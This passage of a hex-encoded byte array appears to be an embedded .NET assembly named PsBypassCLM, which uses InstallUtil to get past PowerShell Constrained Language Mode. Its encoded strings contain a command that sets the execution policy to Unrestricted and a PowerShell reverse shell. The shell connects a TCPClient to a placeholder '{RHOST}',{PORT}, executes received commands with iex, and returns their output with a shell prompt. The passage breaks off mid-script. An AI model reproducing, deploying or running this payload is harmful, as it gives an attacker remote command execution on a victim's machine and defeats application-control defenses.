0x00,0xC0,0x03,0x0A,0x00,0x29,0x00,0xC0,0x03,0x10,0x00,0x31,0x00,0xC0,0x03,0x10,0x00,0x39,0x00,0xC0,0x03,0x10,0x00,0x41,0x00,0xC0,0x03,0x10,0x00,0x49,0x00,0xC0,0x03,0x10,0x00,0x51,0x00,0xC0,0x03,0x10,0x00,0x59,0x00,0xC0,0x03,0x10,0x00,0x61,0x00,0xC0,0x03,0x15,0x00,0x69,0x00,0xC0,0x03,0x10,0x00,0x71,0x00,0xC0,0x03,0x10,0x00,0x79,0x00,0xC0,0x03,0x10,0x00,0xB9,0x00,0xC0,0x03,0x15,0x00,0xD1,0x00,0x15,0x05,0x32,0x00,0xD9,0x00,0x80,0x00,0x37,0x00,0x89,0x00,0x32,0x03,0x06,0x00,0xE1,0x00,0xC0,0x03,0x3C,0x00,0xE1,0x00,0xA3,0x00,0x42,0x00,0xF1,0x00,0xD2,0x00,0x4C,0x00,0xD1,0x00,0x78,0x00,0x51,0x00,0xF1,0x00,0xFE,0x00,0x4C,0x00,0xF1,0x00,0xBE,0x00,0x57,0x00,0x89,0x00,0xDC,0x00,0x5B,0x00,0x91,0x00,0xD9,0x03,0x60,0x00,0xF9,0x00,0xA0,0x04,0x10,0x00,0xF9,0x00,0x55,0x00,0x10,0x00,0x91,0x00,0xA3,0x00,0x65,0x00,0x99,0x00,0xC0,0x03,0x06,0x00,0x0C,0x00,0xB2,0x03,0x75,0x00,0x14,0x00,0x94,0x04,0x85,0x00,0x81,0x00,0xA9,0x02,0x8A,0x00,0x99,0x00,0xC7,0x00,0x8E,0x00,0x01,0x01,0xAA,0x04,0x94,0x00,0x09,0x01,0xEB,0x00,0x06,0x00,0xB1,0x00,0x8F,0x00,0x8A,0x00,0xF1,0x00,0xD2,0x00,0x98,0x00,0xD1,0x00,0x07,0x05,0x9E,0x00,0x81,0x00,0xC0,0x03,0x06,0x00,0xC1,0x00,0xBF,0x04,0xA9,0x00,0x11,0x01,0x73,0x04,0xAF,0x00,0x19,0x01,0x22,0x03,0xB5,0x00,0x21,0x01,0xC0,0x03,0x10,0x00,0xC1,0x00,0xC0,0x03,0x06,0x00,0x2E,0x00,0x0B,0x00,0xE1,0x00,0x2E,0x00,0x13,0x00,0xEA,0x00,0x2E,0x00,0x1B,0x00,0x09,0x01,0x2E,0x00,0x23,0x00,0x12,0x01,0x2E,0x00,0x2B,0x00,0x1D,0x01,0x2E,0x00,0x33,0x00,0x1D,0x01,0x2E,0x00,0x3B,0x00,0x1D,0x01,0x2E,0x00,0x43,0x00,0x12,0x01,0x2E,0x00,0x4B,0x00,0x23,0x01,0x2E,0x00,0x53,0x00,0x1D,0x01,0x2E,0x00,0x5B,0x00,0x1D,0x01,0x2E,0x00,0x63,0x00,0x3B,0x01,0x2E,0x00,0x6B,0x00,0x65,0x01,0x2E,0x00,0x73,0x00,0x72,0x01,0x63,0x00,0x7B,0x00,0xBC,0x01,0x1A,0x00,0xA4,0x00,0x6E,0x00,0x7E,0x00,0x04,0x80,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x25,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xBA,0x00,0x31,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC3,0x00,0x3C,0x03,0x00,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xBA,0x00,0x2B,0x03,0x00,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xCC,0x00,0xF3,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x43,0x6F,0x6C,0x6C,0x65,0x63,0x74,0x69,0x6F,0x6E,0x60,0x31,0x00,0x49,0x45,0x6E,0x75,0x6D,0x65,0x72,0x61,0x74,0x6F,0x72,0x60,0x31,0x00,0x3C,0x4D,0x6F,0x64,0x75,0x6C,0x65,0x3E,0x00,0x50,0x73,0x42,0x79,0x70,0x61,0x73,0x73,0x43,0x4C,0x4D,0x00,0x6D,0x73,0x63,0x6F,0x72,0x6C,0x69,0x62,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x43,0x6F,0x6C,0x6C,0x65,0x63,0x74,0x69,0x6F,0x6E,0x73,0x2E,0x47,0x65,0x6E,0x65,0x72,0x69,0x63,0x00,0x41,0x64,0x64,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x43,0x6F,0x6C,0x6C,0x65,0x63,0x74,0x69,0x6F,0x6E,0x73,0x2E,0x53,0x70,0x65,0x63,0x69,0x61,0x6C,0x69,0x7A,0x65,0x64,0x00,0x52,0x65,0x70,0x6C,0x61,0x63,0x65,0x00,0x43,0x72,0x65,0x61,0x74,0x65,0x52,0x75,0x6E,0x73,0x70,0x61,0x63,0x65,0x00,0x67,0x65,0x74,0x5F,0x4D,0x65,0x73,0x73,0x61,0x67,0x65,0x00,0x52,0x75,0x6E,0x73,0x70,0x61,0x63,0x65,0x49,0x6E,0x76,0x6F,0x6B,0x65,0x00,0x49,0x44,0x69,0x73,0x70,0x6F,0x73,0x61,0x62,0x6C,0x65,0x00,0x43,0x6F,0x6E,0x73,0x6F,0x6C,0x65,0x00,0x52,0x65,0x61,0x64,0x4C,0x69,0x6E,0x65,0x00,0x41,0x70,0x70,0x65,0x6E,0x64,0x4C,0x69,0x6E,0x65,0x00,0x57,0x72,0x69,0x74,0x65,0x4C,0x69,0x6E,0x65,0x00,0x43,0x72,0x65,0x61,0x74,0x65,0x50,0x69,0x70,0x65,0x6C,0x69,0x6E,0x65,0x00,0x44,0x69,0x73,0x70,0x6F,0x73,0x65,0x00,0x73,0x61,0x76,0x65,0x64,0x53,0x74,0x61,0x74,0x65,0x00,0x57,0x72,0x69,0x74,0x65,0x00,0x47,0x75,0x69,0x64,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x44,0x65,0x62,0x75,0x67,0x67,0x61,0x62,0x6C,0x65,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x43,0x6F,0x6D,0x56,0x69,0x73,0x69,0x62,0x6C,0x65,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x41,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x54,0x69,0x74,0x6C,0x65,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x41,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x54,0x72,0x61,0x64,0x65,0x6D,0x61,0x72,0x6B,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x54,0x61,0x72,0x67,0x65,0x74,0x46,0x72,0x61,0x6D,0x65,0x77,0x6F,0x72,0x6B,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x41,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x46,0x69,0x6C,0x65,0x56,0x65,0x72,0x73,0x69,0x6F,0x6E,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x41,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x43,0x6F,0x6E,0x66,0x69,0x67,0x75,0x72,0x61,0x74,0x69,0x6F,0x6E,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x41,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x44,0x65,0x73,0x63,0x72,0x69,0x70,0x74,0x69,0x6F,0x6E,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x52,0x75,0x6E,0x49,0x6E,0x73,0x74,0x61,0x6C,0x6C,0x65,0x72,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x43,0x6F,0x6D,0x70,0x69,0x6C,0x61,0x74,0x69,0x6F,0x6E,0x52,0x65,0x6C,0x61,0x78,0x61,0x74,0x69,0x6F,0x6E,0x73,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x41,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x50,0x72,0x6F,0x64,0x75,0x63,0x74,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x41,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x43,0x6F,0x70,0x79,0x72,0x69,0x67,0x68,0x74,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x41,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x43,0x6F,0x6D,0x70,0x61,0x6E,0x79,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x52,0x75,0x6E,0x74,0x69,0x6D,0x65,0x43,0x6F,0x6D,0x70,0x61,0x74,0x69,0x62,0x69,0x6C,0x69,0x74,0x79,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x50,0x73,0x42,0x79,0x70,0x61,0x73,0x73,0x43,0x4C,0x4D,0x2E,0x65,0x78,0x65,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x52,0x75,0x6E,0x74,0x69,0x6D,0x65,0x2E,0x56,0x65,0x72,0x73,0x69,0x6F,0x6E,0x69,0x6E,0x67,0x00,0x54,0x6F,0x53,0x74,0x72,0x69,0x6E,0x67,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x43,0x6F,0x6C,0x6C,0x65,0x63,0x74,0x69,0x6F,0x6E,0x73,0x2E,0x4F,0x62,0x6A,0x65,0x63,0x74,0x4D,0x6F,0x64,0x65,0x6C,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x43,0x6F,0x6D,0x70,0x6F,0x6E,0x65,0x6E,0x74,0x4D,0x6F,0x64,0x65,0x6C,0x00,0x49,0x6E,0x73,0x74,0x61,0x6C,0x6C,0x55,0x74,0x69,0x6C,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x43,0x6F,0x6E,0x66,0x69,0x67,0x75,0x72,0x61,0x74,0x69,0x6F,0x6E,0x2E,0x49,0x6E,0x73,0x74,0x61,0x6C,0x6C,0x00,0x55,0x6E,0x69,0x6E,0x73,0x74,0x61,0x6C,0x6C,0x00,0x50,0x72,0x6F,0x67,0x72,0x61,0x6D,0x00,0x67,0x65,0x74,0x5F,0x49,0x74,0x65,0x6D,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x00,0x4F,0x70,0x65,0x6E,0x00,0x4D,0x61,0x69,0x6E,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x4D,0x61,0x6E,0x61,0x67,0x65,0x6D,0x65,0x6E,0x74,0x2E,0x41,0x75,0x74,0x6F,0x6D,0x61,0x74,0x69,0x6F,0x6E,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x52,0x65,0x66,0x6C,0x65,0x63,0x74,0x69,0x6F,0x6E,0x00,0x43,0x6F,0x6D,0x6D,0x61,0x6E,0x64,0x43,0x6F,0x6C,0x6C,0x65,0x63,0x74,0x69,0x6F,0x6E,0x00,0x49,0x6E,0x73,0x74,0x61,0x6C,0x6C,0x45,0x78,0x63,0x65,0x70,0x74,0x69,0x6F,0x6E,0x00,0x53,0x74,0x72,0x69,0x6E,0x67,0x42,0x75,0x69,0x6C,0x64,0x65,0x72,0x00,0x49,0x6E,0x73,0x74,0x61,0x6C,0x6C,0x65,0x72,0x00,0x49,0x45,0x6E,0x75,0x6D,0x65,0x72,0x61,0x74,0x6F,0x72,0x00,0x47,0x65,0x74,0x45,0x6E,0x75,0x6D,0x65,0x72,0x61,0x74,0x6F,0x72,0x00,0x2E,0x63,0x74,0x6F,0x72,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x44,0x69,0x61,0x67,0x6E,0x6F,0x73,0x74,0x69,0x63,0x73,0x00,0x67,0x65,0x74,0x5F,0x43,0x6F,0x6D,0x6D,0x61,0x6E,0x64,0x73,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x4D,0x61,0x6E,0x61,0x67,0x65,0x6D,0x65,0x6E,0x74,0x2E,0x41,0x75,0x74,0x6F,0x6D,0x61,0x74,0x69,0x6F,0x6E,0x2E,0x52,0x75,0x6E,0x73,0x70,0x61,0x63,0x65,0x73,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x52,0x75,0x6E,0x74,0x69,0x6D,0x65,0x2E,0x49,0x6E,0x74,0x65,0x72,0x6F,0x70,0x53,0x65,0x72,0x76,0x69,0x63,0x65,0x73,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x52,0x75,0x6E,0x74,0x69,0x6D,0x65,0x2E,0x43,0x6F,0x6D,0x70,0x69,0x6C,0x65,0x72,0x53,0x65,0x72,0x76,0x69,0x63,0x65,0x73,0x00,0x44,0x65,0x62,0x75,0x67,0x67,0x69,0x6E,0x67,0x4D,0x6F,0x64,0x65,0x73,0x00,0x61,0x72,0x67,0x73,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x43,0x6F,0x6C,0x6C,0x65,0x63,0x74,0x69,0x6F,0x6E,0x73,0x00,0x67,0x65,0x74,0x5F,0x50,0x61,0x72,0x61,0x6D,0x65,0x74,0x65,0x72,0x73,0x00,0x50,0x53,0x42,0x79,0x70,0x61,0x73,0x73,0x00,0x50,0x53,0x4F,0x62,0x6A,0x65,0x63,0x74,0x00,0x67,0x65,0x74,0x5F,0x43,0x75,0x72,0x72,0x65,0x6E,0x74,0x00,0x41,0x64,0x64,0x53,0x63,0x72,0x69,0x70,0x74,0x00,0x4D,0x6F,0x76,0x65,0x4E,0x65,0x78,0x74,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x54,0x65,0x78,0x74,0x00,0x67,0x65,0x74,0x5F,0x43,0x6F,0x6E,0x74,0x65,0x78,0x74,0x00,0x49,0x6E,0x73,0x74,0x61,0x6C,0x6C,0x43,0x6F,0x6E,0x74,0x65,0x78,0x74,0x00,0x49,0x44,0x69,0x63,0x74,0x69,0x6F,0x6E,0x61,0x72,0x79,0x00,0x53,0x74,0x72,0x69,0x6E,0x67,0x44,0x69,0x63,0x74,0x69,0x6F,0x6E,0x61,0x72,0x79,0x00,0x52,0x75,0x6E,0x73,0x70,0x61,0x63,0x65,0x46,0x61,0x63,0x74,0x6F,0x72,0x79,0x00,0x6F,0x70,0x5F,0x49,0x6E,0x65,0x71,0x75,0x61,0x6C,0x69,0x74,0x79,0x00,0x49,0x73,0x4E,0x75,0x6C,0x6C,0x4F,0x72,0x45,0x6D,0x70,0x74,0x79,0x00,0x00,0x00,0x01,0x00,0x80,0x81,0x53,0x00,0x65,0x00,0x74,0x00,0x2D,0x00,0x45,0x00,0x78,0x00,0x65,0x00,0x63,0x00,0x75,0x00,0x74,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00,0x50,0x00,0x6F,0x00,0x6C,0x00,0x69,0x00,0x63,0x00,0x79,0x00,0x20,0x00,0x2D,0x00,0x45,0x00,0x78,0x00,0x65,0x00,0x63,0x00,0x75,0x00,0x74,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00,0x50,0x00,0x6F,0x00,0x6C,0x00,0x69,0x00,0x63,0x00,0x79,0x00,0x20,0x00,0x55,0x00,0x6E,0x00,0x72,0x00,0x65,0x00,0x73,0x00,0x74,0x00,0x72,0x00,0x69,0x00,0x63,0x00,0x74,0x00,0x65,0x00,0x64,0x00,0x20,0x00,0x2D,0x00,0x53,0x00,0x63,0x00,0x6F,0x00,0x70,0x00,0x65,0x00,0x20,0x00,0x50,0x00,0x72,0x00,0x6F,0x00,0x63,0x00,0x65,0x00,0x73,0x00,0x73,0x00,0x01,0x8B,0x43,0x24,0x00,0x63,0x00,0x6C,0x00,0x69,0x00,0x65,0x00,0x6E,0x00,0x74,0x00,0x20,0x00,0x3D,0x00,0x20,0x00,0x4E,0x00,0x65,0x00,0x77,0x00,0x2D,0x00,0x4F,0x00,0x62,0x00,0x6A,0x00,0x65,0x00,0x63,0x00,0x74,0x00,0x20,0x00,0x53,0x00,0x79,0x00,0x73,0x00,0x74,0x00,0x65,0x00,0x6D,0x00,0x2E,0x00,0x4E,0x00,0x65,0x00,0x74,0x00,0x2E,0x00,0x53,0x00,0x6F,0x00,0x63,0x00,0x6B,0x00,0x65,0x00,0x74,0x00,0x73,0x00,0x2E,0x00,0x54,0x00,0x43,0x00,0x50,0x00,0x43,0x00,0x6C,0x00,0x69,0x00,0x65,0x00,0x6E,0x00,0x74,0x00,0x28,0x00,0x27,0x00,0x7B,0x00,0x52,0x00,0x48,0x00,0x4F,0x00,0x53,0x00,0x54,0x00,0x7D,0x00,0x27,0x00,0x2C,0x00,0x7B,0x00,0x50,0x00,0x4F,0x00,0x52,0x00,0x54,0x00,0x7D,0x00,0x29,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x73,0x00,0x74,0x00,0x72,0x00,0x65,0x00,0x61,0x00,0x6D,0x00,0x20,0x00,0x3D,0x00,0x20,0x00,0x24,0x00,0x63,0x00,0x6C,0x00,0x69,0x00,0x65,0x00,0x6E,0x00,0x74,0x00,0x2E,0x00,0x47,0x00,0x65,0x00,0x74,0x00,0x53,0x00,0x74,0x00,0x72,0x00,0x65,0x00,0x61,0x00,0x6D,0x00,0x28,0x00,0x29,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x5B,0x00,0x62,0x00,0x79,0x00,0x74,0x00,0x65,0x00,0x5B,0x00,0x5D,0x00,0x5D,0x00,0x24,0x00,0x62,0x00,0x79,0x00,0x74,0x00,0x65,0x00,0x73,0x00,0x20,0x00,0x3D,0x00,0x20,0x00,0x30,0x00,0x2E,0x00,0x2E,0x00,0x36,0x00,0x35,0x00,0x35,0x00,0x33,0x00,0x35,0x00,0x7C,0x00,0x25,0x00,0x7B,0x00,0x30,0x00,0x7D,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x77,0x00,0x68,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x28,0x00,0x28,0x00,0x24,0x00,0x69,0x00,0x20,0x00,0x3D,0x00,0x20,0x00,0x24,0x00,0x73,0x00,0x74,0x00,0x72,0x00,0x65,0x00,0x61,0x00,0x6D,0x00,0x2E,0x00,0x52,0x00,0x65,0x00,0x61,0x00,0x64,0x00,0x28,0x00,0x24,0x00,0x62,0x00,0x79,0x00,0x74,0x00,0x65,0x00,0x73,0x00,0x2C,0x00,0x20,0x00,0x30,0x00,0x2C,0x00,0x20,0x00,0x24,0x00,0x62,0x00,0x79,0x00,0x74,0x00,0x65,0x00,0x73,0x00,0x2E,0x00,0x4C,0x00,0x65,0x00,0x6E,0x00,0x67,0x00,0x74,0x00,0x68,0x00,0x29,0x00,0x29,0x00,0x20,0x00,0x2D,0x00,0x6E,0x00,0x65,0x00,0x20,0x00,0x30,0x00,0x29,0x00,0x0D,0x00,0x0A,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x7B,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x64,0x00,0x61,0x00,0x74,0x00,0x61,0x00,0x20,0x00,0x3D,0x00,0x20,0x00,0x28,0x00,0x4E,0x00,0x65,0x00,0x77,0x00,0x2D,0x00,0x4F,0x00,0x62,0x00,0x6A,0x00,0x65,0x00,0x63,0x00,0x74,0x00,0x20,0x00,0x2D,0x00,0x54,0x00,0x79,0x00,0x70,0x00,0x65,0x00,0x4E,0x00,0x61,0x00,0x6D,0x00,0x65,0x00,0x20,0x00,0x53,0x00,0x79,0x00,0x73,0x00,0x74,0x00,0x65,0x00,0x6D,0x00,0x2E,0x00,0x54,0x00,0x65,0x00,0x78,0x00,0x74,0x00,0x2E,0x00,0x41,0x00,0x53,0x00,0x43,0x00,0x49,0x00,0x49,0x00,0x45,0x00,0x6E,0x00,0x63,0x00,0x6F,0x00,0x64,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x29,0x00,0x2E,0x00,0x47,0x00,0x65,0x00,0x74,0x00,0x53,0x00,0x74,0x00,0x72,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x28,0x00,0x24,0x00,0x62,0x00,0x79,0x00,0x74,0x00,0x65,0x00,0x73,0x00,0x2C,0x00,0x30,0x00,0x2C,0x00,0x20,0x00,0x24,0x00,0x69,0x00,0x29,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x74,0x00,0x72,0x00,0x79,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x7B,0x00,0x09,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x73,0x00,0x65,0x00,0x6E,0x00,0x64,0x00,0x62,0x00,0x61,0x00,0x63,0x00,0x6B,0x00,0x20,0x00,0x3D,0x00,0x20,0x00,0x28,0x00,0x69,0x00,0x65,0x00,0x78,0x00,0x20,0x00,0x24,0x00,0x64,0x00,0x61,0x00,0x74,0x00,0x61,0x00,0x20,0x00,0x32,0x00,0x3E,0x00,0x26,0x00,0x31,0x00,0x20,0x00,0x7C,0x00,0x20,0x00,0x4F,0x00,0x75,0x00,0x74,0x00,0x2D,0x00,0x53,0x00,0x74,0x00,0x72,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x20,0x00,0x29,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x73,0x00,0x65,0x00,0x6E,0x00,0x64,0x00,0x62,0x00,0x61,0x00,0x63,0x00,0x6B,0x00,0x32,0x00,0x20,0x00,0x20,0x00,0x3D,0x00,0x20,0x00,0x24,0x00,0x73,0x00,0x65,0x00,0x6E,0x00,0x64,0x00,0x62,0x00,0x61,0x00,0x63,0x00,0x6B,0x00,0x20,0x00,0x2B,0x00,0x20,0x00,0x27,0x00,0x50,0x00,0x53,0x00,0x20,0x00,0x27,0x00,0x20,0x00,0x2B,0x00,0x20,0x00,0x28,0x00,0x70,0x00,0x77,0x00,0x64,0x00,0x29,0x00,0x2E,0x00,0x50,0x00,0x61,0x00,0x74,0x00,0x68,0x00,0x20,0x00,0x2B,0x00,0x20,0x00,0x27,0x00,0x3E,0x00,0x20,0x00,0x27,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x7D,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x63,0x00,0x61,0x00,0x74,0x00,0x63,0x00,0x68,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x7B,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,